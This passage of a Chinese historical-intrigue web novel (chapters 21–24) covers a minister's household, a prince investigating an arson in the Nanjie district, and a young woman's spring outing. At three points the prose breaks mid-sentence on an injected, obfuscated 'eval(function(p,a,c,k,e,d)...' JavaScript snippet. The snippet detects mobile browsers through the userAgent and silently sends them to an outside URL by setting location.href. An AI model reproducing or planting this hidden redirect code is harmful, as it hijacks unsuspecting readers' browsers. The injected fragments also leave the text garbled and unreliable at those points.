妫氏只牢骚了这几句，因为知道薛崇贵马上就要过来，她迅速压下心中那些不快意，等在前厅。日头西斜，离得有些远了，一阵刺骨风吹过来，妫氏缩了缩肩膀，翠语赶忙将一旁备着的披风拿过去给她穿上。 妫氏目光望向远处，除了自家老爷，意外发现旁边还跟着别人。 她转头朝翠语低吼，“还不快去把渠儿喊过来！” 同时几步迎上去见礼，笑容灿烂，“瑞王殿下大驾光临，有失远迎，失礼失礼！” 谢兆微微点头回礼。 妫氏随即视线偏向薛崇贵，些微埋怨，“老爷也未曾提前说，害得妾身什么都没有准备。” 薛崇贵笑道：“这里无需你陪着，不是头痛又犯了？快回后院歇着！” 妫氏身形微微一滞。 薛崇贵如何不知她那点小心思，不轻不重看了她一眼，妫氏蓦地如坠冰窖。 她笑容勉强，礼数周到，“那么妾身就先失陪了——瑞王殿下见谅。” 谢兆仍然只是点了个头。 翠语领着薛渠匆匆而来，恰巧听见这一句，握着薛渠的那只手不由自主地颤抖起来。 薛渠年方十岁，可在这样的条件下，早已不是什么懵懂稚童，来的路上，翠语已将事情简单讲了，而她自然也知道翠语的手为什么会突然抖成这样。 “翠语姐姐。”她轻轻叫她。 翠语回过神时，方才发现自己竟是连牙齿都咬得疼痛不已，心神一松，赶紧拉着薛渠往回走，小声叮嘱她，“小姐，等会千万不要去夫人的院子哦！” 薛渠眼眶倏地通红。 翠语低头望见薛渠的模样，心中一软，有些僭越地摸了摸她的头，安慰说：“无妨的。” 薛渠猛然低头，压着哭腔，“翠语姐姐莫要管我，尽快回母亲那吧。”说完她便松了手，走上一旁的廊道，她要去水天居找长姐。 韵采一直悄悄观察前厅的情况，厅里厅外都看了个真切，垂头望向那道小小身影，她想了想，跳下屋顶，几番闪身，跳过了水天居的院墙，直奔书房。 袁彦坐在桌案前翻书，百无聊赖，听见动静，她没抬头，只随口一问，“人走了？” 韵采点点头。 “文四办事牢靠，明秋的背景不会出现什么纰漏，想必崔氏今日回去就该着人调查，你盯着些，时机到了，就安排他们在外头见一见。” 韵采应了声，说道：“姑娘，郭家的走了，瑞王来了。” 袁彦翻书的动作微顿，想了想，她说：“那三个人今日应该有变化了。” 韵采说：“比预计的提前不少。” “正常，”袁彦继续低头看书，“咱们原来在南疆，那边的环境和这边还是大不一样的，有一些出入无所谓，都在范围内。” 韵采听着远处轻微的脚步声，“薛渠往这边来了。” 袁彦只好放下书，看了眼窗外，默不作声。 21. 第 21 章 薛崇贵没让奉茶丫鬟上茶，而是将谢兆一路引到了茶室，亲自为他煮茶。 茶室不大，像是后来加盖出来的，中间隔了张屏风，另一边摆了软垫和矮桌，上面放着棋盘，围棋罐各放一边。 周围安安静静的，是个喝茶下棋的好地方。 谢兆环顾一圈，随口赞了句，“尚书大人好雅兴。” 薛崇贵笑呵呵道：“殿下谬赞，当初府里加这个茶室，不过就是为了躲清静。” 谢兆微微一笑，显然并不相信，只当是他薛崇贵的自谦，薛崇贵也没有要继续解释的意思，认认真真煮茶，火候差不多了，舀出一勺进杯中。 “殿下尝尝，还是不是先前那个味道。” 谢兆便端起茶杯，闻了闻，有些不确定，轻轻啜了一口，而后他搁下茶杯，说了句，“是不错。”但好像又差了些味道，回想上次喝下去的那种感觉，很玄妙，说不出来，总之是眼下这杯茶所不具备的。 薛崇贵觑着谢兆的神色，心中了然，瑞王殿下养尊处优，嘴一定刁得很，细微差别也能瞬间品鉴出来。 他面上笑容不变，袁彦同他讲过，那种茶，喝过一次就够了，多喝无益。 谢兆想起一事，随口问道：“方才在外面看见郭大人家的马车，进去倒没见到郭夫人。” 薛崇贵咽下那口茶水，想了想说：“殿下莫不是忘了去年之事？” “何事？” 薛崇贵笑道：“下官掌管户部，平日里和一些同僚不过就是些场面应酬而已，毕竟这个位置，和谁近了，都很有偏帮的嫌疑，但下官却也不是那种拒人于千里之外的。下官与郭汝往日无怨近日无仇，只不过是他来要钱我给的不痛快，他便让人参了下官一本，说下官生活奢靡，官员们如果想让户部拿钱办些事，第一步却反要先给孝敬钱。” 他摇了摇头，叹息道：“真是欲加之罪，好在圣上英明，并未直接就信了那番说辞，否则下官这辈子就是跳进棉松江都洗不清了。” 谢兆身份特殊，如非必要，并不怎么去上早朝，这也是太庆帝默许了的，朝堂上即便有人看他不顺眼，也不会拿这事去触谁的眉头。 但不上早朝，不代表他不知道朝堂上的事，经过薛崇贵这么一提，他便想起来了。 是郭汝明想要整顿南街。 平京城大致可分为四个区域，其中属北街占地最为宽阔，南街次之，东西二市范围更小些。 北街住着平京城中大部分的达官显贵以及世家子弟，相对来说安稳不少，东西二市小门小户，分别设有官吏衙门，且都是些本地人士，拖家带口的，管理起来没那么麻烦，独独南街，最为鱼龙混杂。 许多外来人不约而同的涌向南街，商贸来往频繁，由此滋生出诸多隐患，例如小偷小摸，或者大一些的，妇人被欺凌，儿童走失，甚至偶有命案，更多的都是打架斗殴。自打刑部接手了大理寺的职责，这些事在他眼中就更加清楚明了。 本地百姓不胜其扰，有能力的都纷纷搬去其他区域，没能耐的，只能忍受再忍受。 郭汝明想要驱逐南街的外来人，连写三道折子，太庆帝不胜其扰，最后让他去和薛崇贵俩人商量。 南街虽然混乱，税却从不少交，甚至有时候比北街有过之而无不及。 所以这件事，两位尚书大人各持己见，手握自己的道理，谁都不愿各退一步，最后还是太庆帝看不下去，一锤定音折中了处理，当然不能全顺了郭尚书的意，户部只愿拿出他所要金额的一半，拿到钱后的郭汝明大刀阔斧，给南街各方面的势力施压，总算把混乱的现象暂时制止。然而事情得到解决，他二人却因此结下了不大不小的梁子。 朝堂上难免碰面，却是一个鼻孔朝天，一个眼皮上翻。 谢兆笑道：“两位夫人之间倒是没有什么芥蒂，走动得颇为频繁。”打春宴那日他瞧见过，妫氏与崔氏席面上坐在一块，有说有笑的。 薛崇贵情绪有一瞬的转变，不过片刻恢复正常，“朝堂上的事，断不能带回到家中。” 谢兆以为然，便点了点头。 － 袁彦从书房出来去了会客厅，没一会，见薛渠小跑着进来，眼眶微红，显然是来的路上哭过，笑容别提多牵强，“长姐。” 袁彦将一盒小点心推过去，“过来吃这个，小厨房新做的，味道很不错。” 薛渠依言坐过去，伸手拿起一块，张嘴咬下一口，却只是含在嘴里，半天没咽。 眼泪啪嗒啪嗒往下落。 袁彦一言不发，只让韵采拿来锦帕，轻轻柔柔给她擦去眼泪。 薛渠侧过身，抬起头看着这位回家差不多两年的长姐，抽抽噎噎问道：“你是不是早就知道了？” 袁彦点头，“这在府里上下应该都不是什么秘密。” 妫氏脾气阴晴不定，在外表现得得体大度，回了家中，对府里的小厮丫鬟谈不上多好，却也坏不到哪里去，唯独对那贴身婢女翠语极为狠辣，动辄打骂，翠语身上的伤痕好了又添新，整个薛府，甚至包括薛崇贵，都一清二楚。 薛渠吸着鼻子，眼泪挂在脸上，有些天真地问她：“长姐，你可以管一管吗？” 袁彦为难地看着她。 话说出口薛渠就后悔，再看袁彦的神情，就更加坐立不安，犹犹豫豫地又喊了声“长姐”。 “这件事，父亲也知道。” 薛渠脸色微微泛白，到底是年纪小，就算再怎么努力去明白这个世道，也还是很容易露出破绽，将绝望毫不遮掩地展现出来。 “父亲为何不管？”她颤声道，像是询问，更像自言自语，“母亲如此作为，难道不是有辱家风？苛待下人，还是从娘家带过来的半个家人，她怎能如此？为何如此？父亲明明知晓，为何也要睁一只眼闭一只眼？” “长姐，长姐，翠语姐姐要被她打死了！怎么办啊？” 袁彦只能再次将她的眼泪擦干。 “此事我无法管，一来翠语虽身在薛府，可身契却在妫家，我出面管，不合规矩，也没有由头，二来，母亲是一府主母，家中下人本就全都归她所管，打骂虽然不对，但外人看来，却也不是什么了不得的天大事，我若因此出面，就更不合规矩了。我这么告诉你，算是清楚了吗？” 薛渠点点头，显然她心中早就明白，只不过还是很想得到不同答案罢了。 袁彦并未说第三点，怕这便宜妹妹从此更加心灰意冷。 翠语被打骂这么多年，为什么还会那么尽心尽力地服侍妫氏？是生来就是贱骨头？定不会如此简单。 韵采将薛渠送回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443177|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己院子，回去的时候突然改了方向，三两下轻轻跃上了妫氏的屋顶。 妫氏此次脾气尤其大，没有什么咒骂声，却是实实在在棍棍到肉了，翠语不知是被打习惯忘了疼还是早已晕死过去，竟是半点声音都没有发出。 韵采倒是不担心，妫氏胆子再大，总不能在薛崇贵眼皮子底下闹出人命，况且这会，瑞王殿下还没走远呢！ 谢兆喝完茶，被薛崇贵亲自送出门，上马车前，他忽然抬头看向内院方向，倒不是为了别的，但见一只信鸽扑棱棱飞过，几息之间便飞得老远。 回到水天居，见袁彦站在门廊下，手里捏了张纸条。 韵采想起一事，快步过去轻声问道：“姑娘，瑞王殿下……” 袁彦摇头，将纸条交给她，转身去了书房，“从来也没想瞒过他，不打紧。” 韵采些微安心，低头展开纸条，跟进去，“他果然去南街抓人了！” 袁彦牵了牵唇角，略带讥讽，哼道：“鼻子灵得很啊！” 韵采有些担忧，“南阳侯的人，当真信得过？” “自然是信不过，所以文四才会去。” “那些人……” 袁彦点点头，没有说话。 无非就是那司空朔注定无功而返，即使摸到了人又如何，反正都已是些不能开口说话之辈。 袁彦笑起来，“真想亲自过去瞧瞧。”看看司空朔像闻着味的狗一样扑过去，又像狗一样被牵着鼻子走，再像狗一样发狂发癫。 不对，他还不如一条狗。 韵采将纸条点燃，灰烬扔在了笔洗中。 “明日天气不错，我们踏春去。” 韵采望着对面那张明艳的脸庞，笑着点点头，“那我现在就去准备。” 逸云坊，康平王府邸。 阮郎中不知从什么地方回来，身上一股淡淡的血腥味，进门瞧见司空朔那张沉得几乎可以滴出水来的脸，微微一顿，了然道：“殿下可是去得晚了？” 司空朔冷冷哼了声。 何止是晚了，再迟一些，那一屋子人都要被烧成灰了！ 南街本就混乱，即使被整治了，也仍然治标不治本，面上行不通的一律搁到了底下，该是什么德行，还是什么德行。所以屋子莫名其妙着火，并不会引起多大的动静。 “你那边有什么收获？” 阮郎中自顾自坐下来倒茶，喝了一口才说：“普渡寺里有个相熟的小和尚，说那日之后，庙里少了个人。” 司空朔目光一凝，不耐烦道：“说下去！” 阮郎中摇了摇头，“差不多就是这么个收获，少的那个人，平时存在感极低，在普渡寺修行的就那么多，可若非今日特意问起，竟没谁觉得这是什么应该想起来的事。庙里唤那人叫做‘慧灵’，三年前云游到寺中修行，其余的就没什么了，俗家何处，有无牵挂，庙里的人都不晓得。” 司空朔一把掀了面前的茶桌。 阮郎中淡定喝着自己的茶，仿佛已是见惯了他这副暴躁样子。 “不过殿下也不用如此，草民已将那慧灵的画像张贴出去，相信不日就会有消息传回。” 司空朔烦躁不已，“尽快！” 南街，谢兆远远望着那处已经熄灭了火的房子，沉思不语。 22. 第 22 章 从薛府出来的半路上，暗卫影沉悄然而至，上了马车后沉声汇报：“南街榕芝巷一处宅子突然起火，此刻已经熄灭，属下怀疑，是有人故意纵火，因为起火不久，康平王带人匆匆赶到，看他那阴沉样子，想来是有人先他一步，放火毁灭了什么。” “宅子里都是什么人？” 影沉顿了顿，说道：“那原本是空置许久了的，五日前的子时，有一伙人住了进去。因为榕芝巷是南街最为乌七八糟地之一，里边的本地百姓基本上都已搬去他处，整一条巷子住的都是些外来户，且基本没什么正经营生，大多是看人搬走随即强行霸占了宅子，房主求告无门，只好由着他们就那么白白住着了。巷中空置宅院不少，一些乞丐也经常在其中过夜，所以那伙人并未引起谁的注意。”说到最后一句，他声音渐轻，显然在心虚。 谢兆沉默不语。 影沉继续说：“府衙那边也是有心无力，这样的事情屡禁不绝，那些人总有缝子可以钻。郭尚书先前大刀阔斧地整顿一通，仅仅起到了暂时解决问题的作用，等钱花完了，风头过去，就又该如何还是如何了。” 五日前——谢兆心中默默计算，是普渡寺出事前两天，如果那伙人就是普渡寺出现的刺客，那么也就确定了司空朔为何匆匆带人赶来，应该是查到了这里，但却被人抢先一步毁尸灭迹，所以才会那般气急败坏。 影沉等了片刻，见谢兆仍然没有要说话的意思，免不得心中惴惴，垂头丧气道：“属下无能，没有事先察觉不对，导致现在事情出来，连个最基本的线头都没法厘清！” 谢兆没管他，抬手敲了敲门框，“去南街榕芝巷。” 无为已经确认那薛家嫡女的车夫便是那日山洞中之人，虽仍然没有确切证据表示她有直接参与，但眼下仍然可以将那日的事情与薛家嫡女挂钩，按照这个逻辑，也就是说，司空朔那妾室与侍卫王纯涣的死，有五成的可能，与薛家嫡女脱不开干系。 然则上元夜水玉楼中被杀的那三个人，是不是也能够如此推断？ 要不如何解释，为何那么凑巧，她两次都能出现在事发的关键点上？ 谢兆闭着眼兀自想着事情，影沉在旁如坐针毡，一时不知自己该不该跳车离开。 “你去做自己的事，我这不需要你跟着。” 影沉如获大赦，忙应了声，自门边悄然掠出，没发出半点动静。 司空朔已经不在这里，只留了几个自己人从旁盯梢，谢兆让马车远远停在另外的街巷，自己则步行穿小路过去，没露面，只隐在人群中望着那处差不多可算作是废墟的地界。 府衙的人司空见惯，过来按照惯例做了简单清理，将尸体依次抬出来装车，运往南边的义庄。没什么活口，焦黑如碳，死的不能再死。 谢兆目力不差，即使离得远，也能将那处的情况瞧个一清二楚，因此也看出，那些尸体平整僵直，口眼紧闭，就像是……在宅子起火之前，人就已经没命了。 这种案子如无意外，基本就在府衙便可结案，至多是上报到大理寺，审核之后归档封存而已。 而南街的府衙，向来是多一事不如少一事。 谢兆原路返回，未曾惊动任何人。 没有径自回府，而是转道去了刑部，路上没来由想起方才在薛府门前时，那从后院飞出去的一只信鸽。 似乎这些日子发生的一切，所见所闻所想，都在若有似无地围绕着那位薛家走失多年又被侥幸寻回的嫡女身上。 从那个上元夜，从她醉醺醺出现在他眼前，好像一切事，都与她有关。 谢兆不知自己是陷入了某种想当然的暗示中，还是真的抓住了那个真相。 林三刀洗干净手上沾的血，从大牢出来时，恰巧碰上去而复返的谢兆，便忙跟过去汇报。 “大人，姜主事下午已经将那三位死者领走，属下派人跟去瞧了，他们将人领回去便火速下葬，没有任何犹疑，之后吹拉弹唱，与平常办丧事的流程并没有什么不同。似乎……似乎根本不在意什么日子什么时辰，好像是迫不及待，只要将人赶紧下葬了事了才好。” 谢兆点头表示知道，看来这段时间，姜家内部应该偷偷合计了不少事情，他们应该是知道了什么，而且是一些足可以撼动家族根本的东西，妄图将一切从死了的三个人这里一刀两断。 他忽然想起那日在水玉楼中，那双略显倔强的眼睛。 “去查一下，那姜主事的妻子祝氏，平日都是几时出门走动，查到规律，让灵韵她们找机会，和她旁敲侧击一下。” 林三刀领命离去。 明日休沐，谢兆坐在桌案前，看了眼堆在面前的案宗，都不是一朝一夕就能解决了的，即便多出那么一天，也不会有什么根本变化。 不如就去休息。 坐上马车回府，到门口时，竟是吴管家在那候着，谢兆踩凳下来，见吴管家下了台阶朝他来，眉目微微上挑。 “何事？” 吴管家揶揄道：“是太妃叫老奴在这候着，让见了您就赶紧将您拐到芝兰苑去。” 谢兆不由有些头疼，小声问回去，“母亲不会又要……” 吴管家笑眯眯道：“殿下过去了自然知晓。” 谢兆略感无奈，不过是有两日没过去陪母亲用饭了，也好，左右不外乎是些说亲的小事，应付一番便就过去而已。 吴管家心中其实尚有些未解之谜，想要和谢兆好好讨教讨教，却是话到嘴边，反倒问不出口，怕弄巧成拙，最后反让太妃大失所望。 比如那日打春宴结束后，为何要让他以太妃的名义，将那薛家嫡女带去临风阁旁边的那个小院子？ 再比如，他们那晚聊了那么多，到底之后是怎么个章程？何时说媒，何时下聘？他这两天按照太妃的吩咐，前去找司天监瞧上好几个日子，都是宜婚配嫁娶诸事皆宜的，只等殿下这边何时决定下来。 再比如，看殿下这不紧不慢的样子，八字到底有没有一撇？ “吴叔，是不是有话想说？” 吴管家忙摇头，“无事的，无事的。” 谢兆便不再问。 临近芝兰苑，忽听一阵笑声传来，伴随着一道熟悉男声，“哈哈哈，是吧，对吧，我就说没错吧？” 谢兆脚步微顿，又蓦地加快，回头看了吴管家一眼，后者笑着点点头，随即他停下步子，微微笑着看他家殿下进去。 总算是有些少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443178|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的影子了。 自从当了那什么刑部侍郎，殿下已是许久未曾真正开怀，每天不是忙得不得闲，就是回了府上依旧眉头紧皱——刑部，由来都是没人乐意去的地方！ 谢兆走进去便忍不住大笑，“我道是谁能惹得母亲这般高兴，原来是你怀远！” 段林木听到动静亦是三两步跑过来，大笑着与他抱在一处，“知微知微，可想煞我也！” 段林木字怀远，是谢兆儿时为数不多的玩伴之一，两人相差不过一月，祖上是平京城的世家大族，族中子弟半数都在各地任职，清廉治家，书香门第。 司空青蓝慢悠悠出现在门前，笑容满面，她不去打断那两人的叙旧，只是那么望着，心中分外欣慰。 “此次回京，是有什么打算了？还走吗？” “不走了，这回真是走够了！”段林木松开手，结结实实在谢兆的肩背处敲了记下，“壮实了不少，再不是我走时那般弱不禁风了！” 他一走就是三年。 谢兆不以为然，难得反驳，“我哪有你说的那样不堪！” 段林木嘿嘿直笑，看着谢兆那张不再苍白的脸，真是打心眼里开心，好，可真是天大好事了！ “兵部有个缺，家里正好在那有些关系，便想让我补上去，你晓得的，我一直就想从军，家中却总是用各种理由阻止，好在虽然不是去前线，到底是挂上钩了，有了这么个铺垫，往后若再有那种机会，我是不会教它白白溜走了的！” 谢兆记性不差，经他一提就立马想起来，兵部那个缺，还是他亲自去给弄下去的。 他有些担忧，“员外郎……你当真愿意？” 段林木摩拳擦掌，“那有什么，只要能跟从军这件事挂上边，让我去兵部扫地我都乐意，乐意极了！” 既然如此，谢兆便不再往下说。 总之以后见面的机会更多，事情处理起来也更得心应手。 段林木被谢兆引着往厅中走，忽然笑道：“听太妃说你明日休沐？怎的，现在有了官职，竟是连家中都不愿常待了？” 谢兆回说：“刑部堆积不少案宗，何况大理寺如今群龙无首，哪里能放松歇息。” “那也不是你多出一两天就能处理干净的，”段林木才不信他这鬼话，凑近了轻声问道，“难道是老大不小，不愿听太妃娘娘唠叨，所以才故意借着公职出去躲清静？” 司空青蓝早就坐在榻上桌案边喝茶，见那两人交头接耳样，只是和郑嬷嬷对视一眼，相互笑了笑。 谢兆十分无奈，给了他一个似是而非的眼神，教他自行体悟。 段林木也不期待从他嘴里得到什么确切答复，只是不容拒绝地告诉他，“明日陪我去郊外踏春！” 谢兆这回是真的皱起眉头了，“踏春？”踏个哪门子春？他们自打认识，就从没出过这种幺蛾子！ 段林木破天荒多了些扭捏，同时又有些幸灾乐祸，看了眼司空青蓝，嘿笑道：“家里为我相看了个姑娘，约着明日在郊外一处亭子里远远见上一见，行就行，不行就莫去耽搁人家。” 司空青蓝笑盈盈望住自己的儿子，不说话，只那么看着，仿佛在说—— 瞧瞧人家！ 23. 第 23 章 谢兆假做没看见母亲的神情，对段林木所说的相看的人家颇感兴趣，问道：“哪家？” “是吴祭酒的嫡孙女，”段林木说起来的时候，不知想到了什么，神色有些难以捉摸的恍惚，痴痴然感慨，“掌上明珠啊。” 吴坚吴祭酒，学识淹博，曾教导过先帝，后来几经周折，及至当下，已然做了多年的国子监祭酒。家族是土生土长平京人，在北街枝繁叶茂，底下盘根错节，关系及其复杂。 想到这里，谢兆笑问：“吃得消？” 段林木不以为然，“反正也不是娶了那一大家子，况且我家中并无可值得打点的关系，他们若抱着想从我这拿到什么的念头，反倒会得不偿失。” 谢兆摇头，显然不那么认可，只是见好友那副喜庆样子，没忍心当下就泼他冷水。 反正明日要去正式相看的，对方看不看得上他还是两说。 “说好了啊，明日陪我同去，你若临阵脱逃，我便立刻给太妃娘娘建言，将你随便找个人家‘嫁’出去！” 谢兆不由好笑，和母亲对视一眼，见后者像是真的在认真考虑，忙点头道：“好好好，明日我便陪你走上一遭——你心里到底是有多没底，这种事也要找人壮胆子！” 段林木一个劲儿嘿嘿嘿，“当局者迷，当局者迷啊！” 用过晚饭，段林木没多停留，告辞离去。 谢兆也想趁机回临风阁，不想被司空青蓝笑盈盈的声音叫住，“兆儿，过来陪我说说话。” 已经一只脚迈出门槛的谢兆只好将那只悬空的腿虚划一道弧，转身往回走。 “母亲。” 司空青蓝斟了盏茶推过去，随口问道：“最近不忙了吗？” “还好，”谢兆低头喝了一口，“母亲换了新茶？” “宫里送来的，”司空青蓝笑眯眯看着儿子，冷不丁问道，“八字有那一撇了吗？” 谢兆喝茶的动作稍稍一顿，不着痕迹地看过去，疑惑道：“什么撇？” 司空青蓝就瞧着他不说话。 谢兆打定主意不多说一句，反正母亲在他面前总是那个先憋不住话的。 郑嬷嬷出去了，此刻屋中就只有他们母子两个，片刻后，果然是司空青蓝率先败下阵来，笑着嗔他：“你这孩子！” 谢兆也是微微一笑，端起茶杯又喝了一口。 “你那日打着我的名义将人家姑娘留下，亏得是在府上，有我帮着遮掩，否则一旦坏了她的名声，到时候管你是什么瑞王殿下，薛尚书便是舍得一身剐，也定要将你拉下马去！” 谢兆道：“儿子心中有数，不会那么没分寸的。” 司空青蓝试探道：“如何？” 谢兆颇感无奈，“母亲……” 司空青蓝似是急了，不管不顾嚷起来，太妃娘娘该有的姿态半点都无，“母亲母亲，你若哪一日能将这二字换成那‘王妃夫人’，我便算你是个好样的！” 谢兆只好无言以对，这种时候，根本讲不通的。 片刻后，司空青蓝整理心情，恢复神色，犹不死心道：“真没看上？” “没有。” “宴上那么多闺阁姑娘，你为何偏偏留了她？” 谢兆不好把外头发生的事全数说给母亲听，便只得告诉她：“是人家没看上儿子我，母亲这下可满意了？” 司空青蓝仔细端详了一番自己儿子，半晌没言语。 一盏茶喝完，谢兆打算走了，“母亲可还有别的要问？” “要不我再寻个由头，将那薛尚书的嫡女再请来瞧瞧？”司空青蓝左看右看，还是觉得他模样长得十分周正，虽说不及他父亲十之七八，一二分总还是富余，怎的就能没瞧上眼？ “我再帮你好好旁敲侧击一番，看看到底是你会错了意，还是她压根没往那方面想！” 谢兆一时倒不知该说什么好，酝酿一番，却只是笑了一下。 司空青蓝免不得也来了脾气，破口骂道：“你这是个什么表情？榆木疙瘩！半点不及你父亲！” 谢兆好脾气地顺着她，“是是是，儿子哪里敢和父亲相比，母亲心中，父亲就是那世间最独一无二、顶顶好的人了！” 司空青蓝杏眸微瞪，却也跟着悠悠笑起来。 那短命的，就该是世间顶顶好的，独一无二，唯她所有。 “快走快走，别在我跟前碍眼！”司空青蓝挥手赶人，心念微动，平时不提便罢，提起了，就免不得想念，免不得要去书房，找那人的挂画倾诉一番。 儿子老大不小却不成家，偌大一个王府，冷冷清清成何体统！ 谢兆脚步匆匆，转身时的眼中碎了许多的笑，却又立刻被丝丝缕缕缠上阴霾，等到迈步出门去，已然是面无表情。 父亲去的蹊跷，那个人，毁了母亲的一生。 隔日天气晴朗，厚重的衣服竟是穿不住了，袁彦不穿襦裙，轻装上阵，一身利索束腰青色衣裙，底下套了条纯色长裤，脚蹬一双绣边皂靴，高高兴兴出城去也。 出了城门，换乘马匹，文五继续赶马车，车上放了好些吃食茶点，足够三个人吃吃喝喝一整日。 韵采也是同样装束，只不过颜色要比袁彦的清淡不少，教外人瞧见，也不会感到怪异和喧宾夺主，出城上马，一是快意，二也是要顺便护着袁彦。 袁彦幼时也学过些拳脚功夫，只不过术业有专攻，医毒方面的一切她都可以触类旁通，只需教上一遍就能做得与师父一般有模有样，若再给次机会，便可做到青出于蓝。 术数方面也是如此。 唯独这拳脚功夫，韵采与她恰恰相反，别的一学就呵欠连天，这个真就是一学就会，且进步神速。 “姑娘，听说今日小松山下有船舫停靠，有那碧春居的花魁献舞，据说还有茶话斗酒可看，咱们这就过去那瞧瞧？” 袁彦闻言点头，“那就去那！” 皮鞭凌空咤响，烈马嘶鸣奔如飞，途中也有好些别府车驾慢悠悠晃荡，袁彦打马掠过，纵马快意，长发飞扬，她眼中只有前方。 段林木撂下窗帘，啧啧称奇，“怪我离开太久，平京城何时出了这么一号人物？” 谢兆低头看书，翻过一页，随口道：“记得你今日是出来做什么的。” “知道知道，你放心好了，我心中眼底，此刻就只有那吴祭酒的嫡孙女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443179|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”说到这里，段林木免不得话就多了起来，且十分不要脸，“你不知道，我当初在江南见到她时，就已经开始想着以后一定要生个和她一样的娃娃了。” 谢兆不由唏嘘，“以前倒是想过你成了亲会如何，什么都想到了，就是没料到你竟是这般……不要钱！” “你不懂，怎么说我也比你大上一个月，吃过的盐定是比你多得多，所以你莫在此瞧我笑话，当心有天给你遇上，到时候必定教你尝尝什么叫寤寐思服，辗转反侧！” 谢兆笑了笑，又翻过一页书，不以为然。 段林木仿佛知晓他如何想，加了一句，“你最好以为然！” 谢兆咧嘴，这回当真是笑出声来了。 小松山位于平京城外十五里，和洛迦山在两个方向，却比洛迦山近了许多。 袁彦勒马停在山下，岸边处已经聚集不少人，都在不远不近地看着湖中缓缓而来的几艘船舫，男女都有，但大多泾渭分明。 拴好马，袁彦和韵采一起在周遭走了两圈熟悉路线，选了处依山傍水阳光充足的地方，而后回到拴马地等了一会，文五终于珊珊而来。 韵采望着文五的模样，惊讶道：“怎的将那假面皮摘掉了？出门的时候还没见你有这动作，”端详一番，赞叹道，“你瞧这样多漂亮，清清秀秀，我见犹怜，不比那虬髯汉子好太多了？” 文五比划了半天，仍然出不来一句完整话，最终作罢，算了，不与她一般见识！ 她看向袁彦，后者点点头，“不错不错，好不容易得闲出来玩一回，尽兴就好。” 文五笑得有些腼腆，这还是她来平京城以来，第一次以姑娘的脸示人。 文五比划：姑娘，已经选好地方了吗？奴婢现在就去将东西摆出来？ 袁彦点点头。 文五便和韵采一起将马车赶到那处地方，依次往下搬东西。 袁彦慢悠悠往湖边去，想再去瞧瞧那花魁的模样。 那晚她有事要做，匆匆忙忙的，都没来得及仔细端详端详。 碧春居的姑娘卖艺不卖身，文人清流们最最喜欢，当然不乏例外，若姑娘当真愿意，卖艺也卖身的也不在少数。 画舫不少，每个当中都有姑娘站位，快到近前了，摇摇冲岸上的人群挥手，柔荑细软，不盈一握，穿着清凉，身姿软若无骨，媚态浑然天成。 袁彦站在一处，笑眯眯地抬起手与那站在头一艘画舫上的女子招手。 有美人兮，见之不忘。 转身要走的时候，她突然顿住脚步，眯起眼眸远远望去，见那瑞王殿下刚好走下马车，视线恰与她相交一处。 谢兆显然没想到会在这里与她碰面，下车时视线只是习惯性扫向四周，便就那样一瞬间捕捉到了她。 袁彦向他摇摇揖礼，而后扭头走向别处，明明白白告诉他，不叙旧，别过来。 段林木紧随其后，见谢兆直勾勾看向远处，虽然马上就收回目光，但他还是敏锐地察觉到了什么，就也顺着之前的目光看过去，却是无甚稀奇。 “是见着谁了？” 谢兆压下心底突兀涌起的异样感，淡声道：“没谁。” 24. 第 24 章 袁彦走回去时没刻意遮掩神情，韵采停下和文五的叨叨叨，跑过去奇怪道：“姑娘这是遇着什么了？怎的脸色如此差？身子不爽利？方才骑马磕碰着了？” 袁彦没隐瞒，心中没来由涌上一股烦躁，“冤家路窄，瑞王也来了。” 韵采只是微微皱眉，并没有四处张望，不着痕迹地挪步挡在袁彦身前，不教有心人窥探，这才小声问：“那咱们还是回去？”毕竟她们现在是那位刑部侍郎重点怀疑对象。 袁彦笑了笑，摇头说：“来都来了，回去无甚意思，何况见人就跑，反倒惹人生疑。” 韵采立刻说：“反正我们选的这处地方也是特意跟人隔开，大家自己玩自己的，我们不去主动招惹，想必也没人会过来跟咱们触霉头找不自在。” 文五将东西都摆出来，支起桌案已然开始煮茶，见两人过来围着坐下，忙将茶点先推过去，笑着比划：茶马上就煮好。 韵采等袁彦拿起一块栗子糕吃了，这才也拿了一块，先掰下一口喂进文五嘴里，剩下的大半个再一股脑扔进自己张大的嘴里。 “香，”她捂着嘴，毫无形象可言，含糊道，“李嬷嬷做得糕点真是越来越好吃了！” 文五嘴巴塞得鼓鼓，也跟着点头。 袁彦单手支颐，将那一盘子的栗子糕推到了她们俩之间，“那就多吃些。” 韵采嘿嘿笑着接过来，嘴上问道：“姑娘你不吃了吗？那我们可就不客气了！” “我喝茶。” 